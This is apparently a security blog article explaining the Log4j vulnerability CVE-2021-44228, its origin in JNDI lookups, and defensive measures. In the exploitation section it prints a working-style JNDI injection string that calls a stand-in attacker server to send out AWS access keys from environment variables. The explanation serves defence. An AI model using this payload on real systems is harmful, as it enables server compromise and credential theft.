Tips to Stay Safe From Log4j Exploit

Logging is essential to any software application. In its simplicity, log is a file that tracks all the happenings within an app. This helps application developers understand and trace how the application is working. Log4j is a well known logging library for Java programming language. With Java being the popular choice for many applications, it is typical for this library to be directly or indirectly involved in commonly used software.

The Recent Log4j Exploit: CVE-2021-44228

Much has been said about the recent vulnerability that was discovered in December 2021. An easily exploited flaw in the Java logging library named Log4Shell by LunaSec began being tracked as CVE-2021-44228. This flaw made millions of systems vulnerable to unauthenticated remote code execution (RCE) and complete server takeover. The cause was determined to be Log4j popularity and the highest common vulnerability scoring system (CVSS) score of 10 which enabled exposure to RCE. With RCE, hackers can run any code that will benefit them on your system. For example, most applications have credentials for internal apps in environment variables. With RCE, hackers may steal environment variables for the application.

What Caused This Bug?

Log4j allows developers to run expressions. This allows developers to add java objects or error objects to the error log, which is standard logging.
Java has an old feature called JNDI. This stands for Java Naming and Directory Interface. This allows users to stream the remote java objects/code. This was before SOAP or REST APIs were widely used; JNDI is now considered to be dated functionality and is generally unpopular.
A feature was added in 2013 to do JNDI lookups in Log4j. This updated feature allowed developers to run remote code, which is part of the app to execute. The combination of these factors led to the Log4j exploit, meaning this vulnerability has been present since 2013, but only discovered in 2021.

How Hackers Exploit This Vulnerability

Let’s say you have a java application using Log4j. This has a feature that allows users to input text for searches. JNDI prompts a look-up on a server that is controlled by the attacker and executes the returned code. For example, a hacker can input the code in the JNDI lookup format and gain access to internal data or environment variables with credentials to your database. Here is an example of a search query that can be sent to an application with this vulnerability to access to AWS secrets in the application: ${jndi:ldap://my.malicious.server:8080/${env:AWS_ACCESS_KEY_ID}/${env:AWS_SECRET_ACCESS_KEY}}

This can lead to a severe case of Log Injection. Log4j vulnerability is very similar to the oldest trick in the book called SQL Injection, which consists of a type of injection attack where SQL commands are injected into data-plane input in order to affect the execution of predefined SQL commands.

How to Protect Against Log4j

As for protecting against Log4j on the server side, there’s a setting that controls whether the logging system can interpret data as code. Developers can turn that switch off to eliminate the Log4j vulnerability. Since the discovery of CVE-2021-44228, Apache released an updated code module that defaults this switch to off.

While this occurrence is not the first of its kind, and it will likely not be the last, developers can implement tactics to help prevent hacker attacks:

Never blindly trust the user input in forms and always do string cleanups. Almost all languages have some feature to support escaping of strings.
Make sure your environment variables and other credentials are encrypted at rest.
Ensure you have very tight controls on outgoing traffic from your servers.
Regularly scan your dependencies for the CVE vulnerabilities and catch these on zero day.

By keeping your systems secured, you can mitigate the risks of being affected by attacks like the Log4j exploitation now and in the future.

Naveen Kumar